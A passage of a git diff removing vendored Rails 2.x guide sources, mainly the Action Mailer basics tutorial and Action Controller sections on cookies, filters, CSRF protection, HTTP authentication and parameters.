-    assert_equal invite_email.subject, "You have been invited by me@example.com"
-    assert_equal invite_email.to[0], 'friend@example.com'
-    assert_match /Hi friend@example.com/, invite_email.body
-  end
-end
-
-

11. Other Testing Approaches

-
-

The built-in test/unit based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:

-
    -
  • -

    -NullDB, a way to speed up testing by avoiding database use. -

    -
    • -
  • -

    -Factory Girl, as replacement for fixtures. -

    -
    • -
  • -

    -Shoulda, an extension to test/unit with additional helpers, macros, and assertions. -

    -
    • -
  • -

    -RSpec, a behavior-driven development framework -

    -
    • -
-
-

12. Changelog

-
-

Lighthouse ticket

-
    -
  • -

    -November 13, 2008: Revised based on feedback from Pratik Naik by Akshay Surve (not yet approved for publication) -

    -
    • -
  • -

    -October 14, 2008: Edit and formatting pass by Mike Gunderloy (not yet approved for publication) -

    -
    • -
  • -

    -October 12, 2008: First draft by Akshay Surve (not yet approved for publication) -

    -
    • -
-
- -
-
- - diff --git a/vendor/rails/railties/doc/guides/source/action_mailer_basics.txt b/vendor/rails/railties/doc/guides/source/action_mailer_basics.txt deleted file mode 100644 index c7700d16..00000000 --- a/vendor/rails/railties/doc/guides/source/action_mailer_basics.txt +++ /dev/null @@ -1,483 +0,0 @@ -Action Mailer Basics -==================== - -This guide should provide you with all you need to get started in sending and receiving emails from/to your application, and many internals of the ActionMailer class. It will also cover how to test your mailers. - -== Introduction -Action Mailer allows you to send email from your application using a mailer model and views. -Yes, that is correct, in Rails, emails are used by creating models that inherit from ActionMailer::Base. They live alongside other models in /app/models BUT they have views just like controllers that appear alongside other views in app/views. - -== Sending Emails -Let's say you want to send a welcome email to a user after they signup. Here is how you would go about this: - -=== Walkthrough to generating a Mailer -==== Create the mailer: -[source, shell] -------------------------------------------------------- -./script/generate mailer UserMailer -exists app/models/ -create app/views/user_mailer -exists test/unit/ -create test/fixtures/user_mailer -create app/models/user_mailer.rb -create test/unit/user_mailer_test.rb -------------------------------------------------------- - -So we got the model, the fixtures, and the tests all created for us - -==== Edit the model: - -If you look at app/models/user_mailer.rb, you will see: -[source, ruby] -------------------------------------------------------- -class UserMailer < ActionMailer::Base - -end -------------------------------------------------------- - -Lets add a method called welcome_email, that will send an email to the user's registered email address: -[source, ruby] -------------------------------------------------------- -class UserMailer < ActionMailer::Base - - def welcome_email(user) - recipients user.email - from "My Awesome Site Notifications" - subject "Welcome to My Awesome Site" - sent_on Time.now - body {:user => user, :url => "http://example.com/login"} - content_type "text/html" - end - -end -------------------------------------------------------- - -So what do we have here? -[width="100%", cols="20%,80%"] -|====================================================== -|recipients| who the recipients are, put in an array for multiple, ie, @recipients = ["user1@example.com", "user2@example.com"] -|from| Who the email will appear to come from in the recipients' mailbox -|subject| The subject of the email -|sent_on| Timestamp for the email -|content_type| The content type, by default is text/plain -|====================================================== - -How about @body[:user]? Well anything you put in the @body hash will appear in the mailer view (more about mailer views below) as an instance variable ready for you to use, ie, in our example the mailer view will have a @user instance variable available for its consumption. - -==== Create the mailer view -Create a file called welcome_email.html.erb in #{RAILS_ROOT}/app/views/user_mailer/ . This will be the template used for the email. This file will be used for html formatted emails. Had we wanted to send text-only emails, the file would have been called welcome_email.txt.erb, and we would have set the content type to text/plain in the mailer model. - -The file can look like: -[source, html] -------------------------------------------------------- - - - - - - -

Welcome to example.com, <%= @user.first_name %>

-

- You have successfully signed up to example.com, and your username is: <%= @user.login %>.
- To login to the site, just follow this link: <%= @url %>. -

-

Thanks for joining and have a great day!

- - -------------------------------------------------------- - -==== Wire it up so that the system sends the email when a user signs up -There are 3 ways to achieve this. One is to send the email from the controller that sends the email, another is to put it in a before_create block in the user model, and the last one is to use an observer on the user model. Whether you use the second or third methods is up to you, but staying away from the first is recommended. Not because it's wrong, but because it keeps your controller clean, and keeps all logic related to the user model within the user model. This way, whichever way a user is created (from a web form, or from an API call, for example), we are guaranteed that the email will be sent. - -Let's see how we would go about wiring it up using an observer: - -In config/environment.rb: -[source, ruby] -------------------------------------------------------- -# Code that already exists - -Rails::Initializer.run do |config| - - # Code that already exists - - config.active_record.observers = :user_observer - -end -------------------------------------------------------- - -There was a bit of a debate on where to put observers. Some people put them in app/models, but a cleaner method may be to create an app/observers folder to store all observers, and add that to your load path. Open config/environment.rb and make it look like: -[source, ruby] -------------------------------------------------------- -# Code that already exists - -Rails::Initializer.run do |config| - - # Code that already exists - - config.load_paths += %W(#{RAILS_ROOT}/app/observers) - - config.active_record.observers = :user_observer - -end -------------------------------------------------------- - -ALMOST THERE :) Now all we need is that danged observer, and we're done: -Create a file called user_observer in app/models or app/observers depending on where you stored it, and make it look like: -[source, ruby] -------------------------------------------------------- -class UserObserver < ActiveRecord::Observer - def after_create(user) - UserMailer.deliver_welcome_email(user) - end -end -------------------------------------------------------- - -Notice how we call deliver_welcome_email? Where is that method? Well if you remember, we created a method called welcome_email in UserMailer, right? Well, as part of the "magic" of rails, we deliver the email identified by welcome_email by calling deliver_welcome_email. The next section will go through this in more detail. - -That's it! Now whenever your users signup, they will be greeted with a nice welcome email. - -=== Action Mailer and dynamic deliver_ methods -So how does Action Mailer understand this deliver_welcome_email call? If you read the documentation (http://api.rubyonrails.org/files/vendor/rails/actionmailer/README.html), you will find this in the "Sending Emails" section: - -You never instantiate your mailer class. Rather, your delivery instance -methods are automatically wrapped in class methods that start with the word -deliver_ followed by the name of the mailer method that you would -like to deliver. The signup_notification method defined above is -delivered by invoking Notifier.deliver_signup_notification. - -So, how exactly does this work? - -In ActionMailer:Base, you will find this: -[source, ruby] -------------------------------------------------------- -def method_missing(method_symbol, *parameters)#:nodoc: - case method_symbol.id2name - when /^create_([_a-z]\w*)/ then new($1, *parameters).mail - when /^deliver_([_a-z]\w*)/ then new($1, *parameters).deliver! - when "new" then nil - else super - end -end -------------------------------------------------------- - -Ah, this makes things so much clearer :) so if the method name starts with deliver_ followed by any combination of lowercase letters or underscore, method missing calls new on your mailer class (UserMailer in our example above), sending the combination of lower case letters or underscore, along with the parameter. The resulting object is then sent the deliver! method, which well... delivers it. - -=== Complete List of ActionMailer user-settable attributes - -[width="100%", cols="20%,80%"] -|====================================================== -|bcc| Specify the BCC addresses for the message - -|body| Define the body of the message. This is either a Hash (in which case it specifies the variables to pass to the template when it is rendered), or a string, in which case it specifies the actual text of the message. - -|cc| Specify the CC addresses for the message. - -|charset| Specify the charset to use for the message. This defaults to the default_charset specified for ActionMailer::Base. - -|content_type| Specify the content type for the message. This defaults to " - subject "Welcome to My Awesome Site" - sent_on Time.now - body {:user => user, :url => "http://example.com/login"} - content_type "text/html" - - # change the default from welcome_email.[html, txt].erb - template "some_other_template" # this will be in app/views/user_mailer/some_other_template.[html, txt].erb - end - -end -------------------------------------------------------- - -=== Action Mailer Layouts -Just like controller views, you can also have mailer layouts. The layout name needs to end in _mailer to be automatically recognized by your mailer as a layout. So in our UserMailer example, we need to call our layout user_mailer.[html,txt].erb. In order to use a different file just use: - -[source, ruby] -------------------------------------------------------- -class UserMailer < ActionMailer::Base - - layout 'awesome' # will use awesome.html.erb as the layout - -end -------------------------------------------------------- - -Just like with controller views, use yield to render the view inside the layout. - -=== Generating URL's in Action Mailer views -URLs can be generated in mailer views using url_for or named routes. -Unlike controllers from Action Pack, the mailer instance doesn't have any context about the incoming request, so you'll need to provide all of the details needed to generate a URL. - -When using url_for you'll need to provide the :host, :controller, and :action: - - <%= url_for(:host => "example.com", :controller => "welcome", :action => "greeting") %> - -When using named routes you only need to supply the :host: - - <%= users_url(:host => "example.com") %> - -You will want to avoid using the name_of_route_path form of named routes because it doesn't make sense to generate relative URLs in email messages. The reason that it doesn't make sense is because the email is opened on a mail client outside of your environment. Since the email is not being served by your server, a URL like "/users/show/1", will have no context. In order for the email client to properly link to a URL on your server it needs something like "http://yourserver.com/users/show/1". - -It is also possible to set a default host that will be used in all mailers by setting the :host option in -the ActionMailer::Base.default_url_options hash as follows: - - ActionMailer::Base.default_url_options[:host] = "example.com" - -This can also be set as a configuration option in config/environment.rb: - - config.action_mailer.default_url_options = { :host => "example.com" } - -If you do decide to set a default :host for your mailers you will want to use the :only_path => false option when using url_for. This will ensure that absolute URLs are generated because the url_for view helper will, by default, generate relative URLs when a :host option isn't explicitly provided. - -=== Sending multipart emails -Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have welcome_email.txt.erb and welcome_email.html.erb in app/views/user_mailer, Action Mailer will automatically send a multipart email with the html and text versions setup as different parts. - -To explicitly specify multipart messages, you can do something like: -[source, ruby] -------------------------------------------------------- -class UserMailer < ActionMailer::Base - - def welcome_email(user) - recipients user.email_address - subject "New account information" - from "system@example.com" - content_type "multipart/alternative" - - part :content_type => "text/html", - :body => "

html content, can also be the name of an action that you call

" - - part "text/plain" do |p| - p.body = "text content, can also be the name of an action that you call" - end - end - -end -------------------------------------------------------- - -=== Sending emails with attachments -Attachments can be added by using the attachment method: -[source, ruby] -------------------------------------------------------- -class UserMailer < ActionMailer::Base - - def welcome_email(user) - recipients user.email_address - subject "New account information" - from "system@example.com" - content_type "multipart/alternative" - - attachment :content_type => "image/jpeg", - :body => File.read("an-image.jpg") - - attachment "application/pdf" do |a| - a.body = generate_your_pdf_here() - end - end - -end -------------------------------------------------------- - -== Receiving Emails -Receiving and parsing emails with Action Mailer can be a rather complex endeavour. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. -So, to receive emails in your Rails app you'll need: - -1. Configure your email server to forward emails from the address(es) you would like your app to receive to /path/to/app/script/runner \'UserMailer.receive(STDIN.read)' - -2. Implement a receive method in your mailer - -Once a method called receive is defined in any mailer, Action Mailer will parse the raw incoming email into an email object, decode it, instantiate a new mailer, and pass the email object to the mailer object‘s receive method. Here's an example: - -[source, ruby] -------------------------------------------------------- -class UserMailer < ActionMailer::Base - - def receive(email) - page = Page.find_by_address(email.to.first) - page.emails.create( - :subject => email.subject, - :body => email.body - ) - - if email.has_attachments? - for attachment in email.attachments - page.attachments.create({ - :file => attachment, - :description => email.subject - }) - end - end - end - - -end -------------------------------------------------------- - - -== Using Action Mailer Helpers -Action Mailer classes have 4 helper methods available to them: -[width="100%", cols="2,8"] -|====================================================== -|add_template_helper(helper_module)|Makes all the (instance) methods in the helper module available to templates rendered through this controller. - -|helper(*args, &block)| -Declare a helper: - helper :foo -requires 'foo_helper' and includes FooHelper in the template class. - helper FooHelper -includes FooHelper in the template class. - helper { def foo() "#{bar} is the very best" end } -evaluates the block in the template class, adding method foo. - helper(:three, BlindHelper) { def mice() 'mice' end } -does all three. - -|helper_method| -Declare a controller method as a helper. For example, - helper_method :link_to - def link_to(name, options) ... end -makes the link_to controller method available in the view. - -|helper_attr| -Declare a controller attribute as a helper. For example, - helper_attr :name - attr_accessor :name -makes the name and name= controller methods available in the view. -The is a convenience wrapper for helper_method. -|====================================================== - -== Action Mailer Configuration -The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...) -[width="100%", cols="2,8a"] -|====================================================== -|template_root|Determines the base from which template references will be made. -|logger|the logger is used for generating information on the mailing run if available. - Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers. -|smtp_settings|Allows detailed configuration for :smtp delivery method: -[cols="20%,80%"] -!====================================================== -!:address !Allows you to use a remote mail server. Just change it from its default "localhost" setting. -!:port !On the off chance that your mail server doesn't run on port 25, you can change it. -!:domain !If you need to specify a HELO domain, you can do it here. -!:user_name !If your mail server requires authentication, set the username in this setting. -!:password !If your mail server requires authentication, set the password in this setting. -!:authentication !If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of :plain, :login, :cram_md5. -!====================================================== -|sendmail_settings|Allows you to override options for the :sendmail delivery method. -[cols="20%,80%"] -!====================================================== -!:location!The location of the sendmail executable. Defaults to /usr/sbin/sendmail. -!:arguments!The command line arguments. Defaults to -i -t. -!====================================================== -|raise_delivery_errors|Whether or not errors should be raised if the email fails to be delivered. -|delivery_method|Defines a delivery method. Possible values are :smtp (default), :sendmail, and :test. -|perform_deliveries|Determines whether deliver_* methods are actually carried out. By default they are, - but this can be turned off to help functional testing. -|deliveries|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful - for unit and functional testing. -|default_charset|The default charset used for the body and to encode the subject. Defaults to UTF-8. You can also - pick a different charset from inside a method with charset. -|default_content_type|The default content type used for the main part of the message. Defaults to "text/plain". You - can also pick a different content type from inside a method with content_type. -|default_mime_version|The default mime version used for the message. Defaults to 1.0. You - can also pick a different value from inside a method with mime_version. -|default_implicit_parts_order|When a message is built implicitly (i.e. multiple parts are assembled from templates - which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to - ["text/html", "text/enriched", "text/plain"]. Items that appear first in the array have higher priority in the mail client - and appear last in the mime encoded message. You can also pick a different order from inside a method with - implicit_parts_order. -|====================================================== - -=== Example Action Mailer Configuration -An example would be: -[source, ruby] -------------------------------------------------------- -ActionMailer::Base.delivery_method = :sendmail -ActionMailer::Base.sendmail_settings = { - :location => '/usr/sbin/sendmail', - :arguments => '-i -t' -} -ActionMailer::Base.perform_deliveries = true -ActionMailer::Base.raise_delivery_errors = true -ActionMailer::Base.default_charset = "iso-8859-1" -------------------------------------------------------- - -=== Action Mailer Configuration for GMail -Instructions copied from http://http://www.fromjavatoruby.com/2008/11/actionmailer-with-gmail-must-issue.html - -First you must install the action_mailer_tls plugin from http://code.openrain.com/rails/action_mailer_tls/, then all you have to do is configure action mailer. - -[source, ruby] -------------------------------------------------------- -ActionMailer::Base.smtp_settings = { - :address => "smtp.gmail.com", - :port => 587, - :domain => "domain.com", - :user_name => "user@domain.com", - :password => "password", - :authentication => :plain -} -------------------------------------------------------- - -=== Configure Action Mailer to recognize HAML templates -In environment.rb, add the following line: - -[source, ruby] -------------------------------------------------------- -ActionMailer::Base.register_template_extension('haml') -------------------------------------------------------- - -== Mailer Testing -Testing mailers involves 2 things. One is that the mail was queued and the other that the body contains what we expect it to contain. With that in mind, we could test our example mailer from above like so: - -[source, ruby] -------------------------------------------------------- -class UserMailerTest < ActionMailer::TestCase - tests UserMailer - - def test_welcome_email - user = users(:some_user_in_your_fixtures) - - # Send the email, then test that it got queued - email = UserMailer.deliver_welcome_email(user) - assert !ActionMailer::Base.deliveries.empty? - - # Test the body of the sent email contains what we expect it to - assert_equal [@user.email], email.to - assert_equal "Welcome to My Awesome Site", email.subject - assert email.body =~ /Welcome to example.com, #{user.first_name}/ - end - end -------------------------------------------------------- - -What have we done? Well, we sent the email and stored the returned object in the email variable. We then ensured that it was sent (the first assert), then, in the second batch of assertion, we ensure that the email does indeed contain the values that we expect. - -== Epilogue -This guide presented how to create a mailer and how to test it. In reality, you may find that writing your tests before you actually write your code to be a rewarding experience. It may take some time to get used to TDD (Test Driven Development), but coding this way achieves two major benefits. Firstly, you know that the code does indeed work, because the tests fail (because there's no code), then they pass, because the code that satisfies the tests was written. Secondly, when you start with the tests, you don't have to make time AFTER you write the code, to write the tests, then never get around to it. The tests are already there and testing has now become part of your coding regimen. \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/changelog.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/changelog.txt deleted file mode 100644 index 4ee16af1..00000000 --- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/changelog.txt +++ /dev/null @@ -1,5 +0,0 @@ -== Changelog == - -http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/17[Lighthouse ticket] - -* November 4, 2008: First release version by Tore Darrell diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/cookies.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/cookies.txt deleted file mode 100644 index 9c30d29d..00000000 --- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/cookies.txt +++ /dev/null @@ -1,34 +0,0 @@ -== Cookies == - -Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which - much like the `session` - works like a hash: - -[source, ruby] ------------------------------------------ -class CommentsController < ApplicationController - - def new - #Auto-fill the commenter's name if it has been stored in a cookie - @comment = Comment.new(:name => cookies[:commenter_name]) - end - - def create - @comment = Comment.new(params[:comment]) - if @comment.save - flash[:notice] = "Thanks for your comment!" - if params[:remember_name] - # Remember the commenter's name - cookies[:commenter_name] = @comment.name - else - # Don't remember, and delete the name if it has been remembered before - cookies.delete(:commenter_name) - end - redirect_to @comment.article - else - render :action => "new" - end - end - -end ------------------------------------------ - -Note that while for session values you set the key to `nil`, to delete a cookie value you should use `cookies.delete(:key)`. diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/csrf.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/csrf.txt deleted file mode 100644 index 87e3d39c..00000000 --- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/csrf.txt +++ /dev/null @@ -1,32 +0,0 @@ -== Request Forgery Protection == - -Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission. The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests. The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access. - -If you generate a form like this: - -[source, ruby] ------------------------------------------ -<% form_for @user do |f| -%> - <%= f.text_field :username %> - <%= f.text_field :password -%> -<% end -%> ------------------------------------------ - -You will see how the token gets added as a hidden field: - -[source, html] ------------------------------------------ -

-
- -
------------------------------------------ - -Rails adds this token to every form that's generated using the link:../form_helpers.html[form helpers], so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method `form_authenticity_token`: - -.Add a JavaScript variable containing the token for use with Ajax ------------------------------------------ -<%= javascript_tag "MyApp.authenticity_token = '#{form_authenticity_token}'" %> ------------------------------------------ - -The link:../security.html[Security Guide] has more about this and a lot of other security-related issues that you should be aware of when developing a web application. diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/filters.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/filters.txt deleted file mode 100644 index 09a4bdf4..00000000 --- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/filters.txt +++ /dev/null @@ -1,119 +0,0 @@ -== Filters == - -Filters are methods that are run before, after or "around" a controller action. For example, one filter might check to see if the logged in user has the right credentials to access that particular controller or action. Filters are inherited, so if you set a filter on ApplicationController, it will be run on every controller in your application. A common, simple filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way: - -[source, ruby] ---------------------------------- -class ApplicationController < ActionController::Base - -private - - def require_login - unless logged_in? - flash[:error] = "You must be logged in to access this section" - redirect_to new_login_url # Prevents the current action from running - end - end - - # The logged_in? method simply returns true if the user is logged in and - # false otherwise. It does this by "booleanizing" the current_user method - # we created previously using a double ! operator. Note that this is not - # common in Ruby and is discouraged unless you really mean to convert something - # into true or false. - def logged_in? - !!current_user - end - -end ---------------------------------- - -The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter (a filter which is run before the action) renders or redirects, the action will not run. If there are additional filters scheduled to run after the rendering or redirecting filter, they are also cancelled. To use this filter in a controller, use the `before_filter` method: - -[source, ruby] ---------------------------------- -class ApplicationController < ActionController::Base - - before_filter :require_login - -end ---------------------------------- - -In this example, the filter is added to ApplicationController and thus all controllers in the application. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with `skip_before_filter`: - -[source, ruby] ---------------------------------- -class LoginsController < Application - - skip_before_filter :require_login, :only => [:new, :create] - -end ---------------------------------- - -Now, the LoginsController's `new` and `create` actions will work as before without requiring the user to be logged in. The `:only` option is used to only skip this filter for these actions, and there is also an `:except` option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place. - -=== After Filters and Around Filters === - -In addition to the before filters, you can run filters after an action has run or both before and after. The after filter is similar to the before filter, but because the action has already been run it has access to the response data that's about to be sent to the client. Obviously, after filters can not stop the action from running. Around filters are responsible for running the action, but they can choose not to, which is the around filter's way of stopping it. - -[source, ruby] ---------------------------------- -# Example taken from the Rails API filter documentation: -# http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html -class ApplicationController < Application - - around_filter :catch_exceptions - -private - - def catch_exceptions - yield - rescue => exception - logger.debug "Caught exception! #{exception}" - raise - end - -end ---------------------------------- - -=== Other Ways to Use Filters === - -While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing. - -The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the `require_login` filter from above could be rewritten to use a block: - -[source, ruby] ---------------------------------- -class ApplicationController < ActionController::Base - - before_filter { |controller| redirect_to new_login_url unless controller.send(:logged_in?) } - -end ---------------------------------- - -Note that the filter in this case uses `send` because the `logged_in?` method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful. - -The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex than can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class: - -[source, ruby] ---------------------------------- -class ApplicationController < ActionController::Base - - before_filter LoginFilter - -end - -class LoginFilter - - def self.filter(controller) - unless logged_in? - controller.flash[:error] = "You must be logged in to access this section" - controller.redirect_to controller.new_login_url - end - end - -end ---------------------------------- - -Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method `filter` which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same `filter` method, which will get run in the same way. The method must `yield` to execute the action. Alternatively, it can have both a `before` and an `after` method that are run before and after the action. - -The Rails API documentation has link:http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html[more information on using filters]. diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/http_auth.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/http_auth.txt deleted file mode 100644 index 63e7c0f0..00000000 --- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/http_auth.txt +++ /dev/null @@ -1,57 +0,0 @@ -== HTTP Authentications == - -Rails comes with two built-in HTTP authentication mechanisms : - - * Basic Authentication - * Digest Authentication - -=== HTTP Basic Authentication === - -HTTP Basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP Basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, `authenticate_or_request_with_http_basic`. - -[source, ruby] -------------------------------------- -class AdminController < ApplicationController - - USERNAME, PASSWORD = "humbaba", "5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8" - - before_filter :authenticate - - private - - def authenticate - authenticate_or_request_with_http_basic do |username, password| - username == USERNAME && Digest::SHA1.hexdigest(password) == PASSWORD - end - end - -end -------------------------------------- - -With this in place, you can create namespaced controllers that inherit from AdminController. The before filter will thus be run for all actions in those controllers, protecting them with HTTP Basic authentication. - -=== HTTP Digest Authentication === - -HTTP Digest authentication is superior to the Basic authentication as it does not require the client to send unencrypted password over the network. Using Digest authentication with Rails is quite easy and only requires using one method, +authenticate_or_request_with_http_digest+. - -[source, ruby] -------------------------------------- -class AdminController < ApplicationController - - USERS = { "lifo" => "world" } - - before_filter :authenticate - - private - - def authenticate - authenticate_or_request_with_http_digest do |username| - USERS[username] - end - end - -end -------------------------------------- - - -As seen in the example above, +authenticate_or_request_with_http_digest+ block takes only one argument - the username. And the block returns the password. Returning +false+ or +nil+ from the +authenticate_or_request_with_http_digest+ will cause authentication failure. diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/index.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/index.txt deleted file mode 100644 index 6865ace9..00000000 --- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/index.txt +++ /dev/null @@ -1,40 +0,0 @@ -Action Controller basics -======================= - -In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to: - -* Follow the flow of a request through a controller -* Understand why and how to store data in the session or cookies -* Work with filters to execute code during request processing -* Use Action Controller's built-in HTTP authentication -* Stream data directly to the user's browser -* Filter sensitive parameters so they do not appear in the application's log -* Deal with exceptions that may be raised during request processing - -include::introduction.txt[] - -include::methods.txt[] - -include::params.txt[] - -include::session.txt[] - -include::cookies.txt[] - -include::filters.txt[] - -include::verification.txt[] - -include::csrf.txt[] - -include::request_response_objects.txt[] - -include::http_auth.txt[] - -include::streaming.txt[] - -include::parameter_filtering.txt[] - -include::rescue.txt[] - -include::changelog.txt[] diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/introduction.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/introduction.txt deleted file mode 100644 index 6ea217db..00000000 --- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/introduction.txt +++ /dev/null @@ -1,9 +0,0 @@ -== What Does a Controller do? == - -Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straight-forward as possible. - -For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work. - -A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model. - -NOTE: For more details on the routing process, see link:../routing_outside_in.html[Rails Routing from the Outside In]. diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/methods.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/methods.txt deleted file mode 100644 index 68204c18..00000000 --- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/methods.txt +++ /dev/null @@ -1,39 +0,0 @@ -== Methods and Actions == - -A controller is a Ruby class which inherits from ApplicationController and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the public method with the same name as the action. - -[source, ruby] ----------------------------------------------- -class ClientsController < ApplicationController - - # Actions are public methods - def new - end - - # Action methods are responsible for producing output - def edit - end - -# Helper methods are private and can not be used as actions -private - - def foo - end - -end ----------------------------------------------- - -There's no rule saying a method on a controller has to be an action; they may well be used for other purposes such as filters, which will be covered later in this guide. - -As an example, if a user goes to `/clients/new` in your application to add a new client, Rails will create an instance of ClientsController and run the `new` method. Note that the empty method from the example above could work just fine because Rails will by default render the `new.html.erb` view unless the action says otherwise. The `new` method could make available to the view a `@client` instance variable by creating a new Client: - -[source, ruby] ----------------------------------------------- -def new - @client = Client.new -end ----------------------------------------------- - -The link:../layouts_and_rendering.html[Layouts & rendering guide] explains this in more detail. - -ApplicationController inherits from ActionController::Base, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself. diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/parameter_filtering.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/parameter_filtering.txt deleted file mode 100644 index 0013492b..00000000 --- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/parameter_filtering.txt +++ /dev/null @@ -1,14 +0,0 @@ -== Parameter Filtering == - -Rails keeps a log file for each environment (development, test and production) in the `log` folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The `filter_parameter_logging` method can be used to filter out sensitive information from the log. It works by replacing certain values in the `params` hash with "[FILTERED]" as they are written to the log. As an example, let's see how to filter all parameters with keys that include "password": - -[source, ruby] -------------------------- -class ApplicationController < ActionController::Base - - filter_parameter_logging :password - -end -------------------------- - -The method works recursively through all levels of the params hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in turn and replaces those for which the block returns true. diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/params.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/params.txt deleted file mode 100644 index e8a2d3d0..00000000 --- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/params.txt +++ /dev/null @@ -1,93 +0,0 @@ -== Parameters == - -You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from a HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the `params` hash in your controller: - -[source, ruby] -------------------------------------- -class ClientsController < ActionController::Base - - # This action uses query string parameters because it gets run by a HTTP - # GET request, but this does not make any difference to the way in which - # the parameters are accessed. The URL for this action would look like this - # in order to list activated clients: /clients?status=activated - def index - if params[:status] = "activated" - @clients = Client.activated - else - @clients = Client.unativated - end - end - - # This action uses POST parameters. They are most likely coming from an HTML - # form which the user has submitted. The URL for this RESTful request will - # be "/clients", and the data will be sent as part of the request body. - def create - @client = Client.new(params[:client]) - if @client.save - redirect_to @client - else - # This line overrides the default rendering behavior, which would have been - # to render the "create" view. - render :action => "new" - end - end - -end -------------------------------------- - -=== Hash and Array Parameters === - -The params hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append "[]" to the key name: - -------------------------------------- -GET /clients?ids[]=1&ids[]=2&ids[]=3 -------------------------------------- - -NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5b=3" as [ and ] are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind. - -The value of `params[:ids]` will now be `["1", "2", "3"]`. Note that parameter values are always strings; Rails 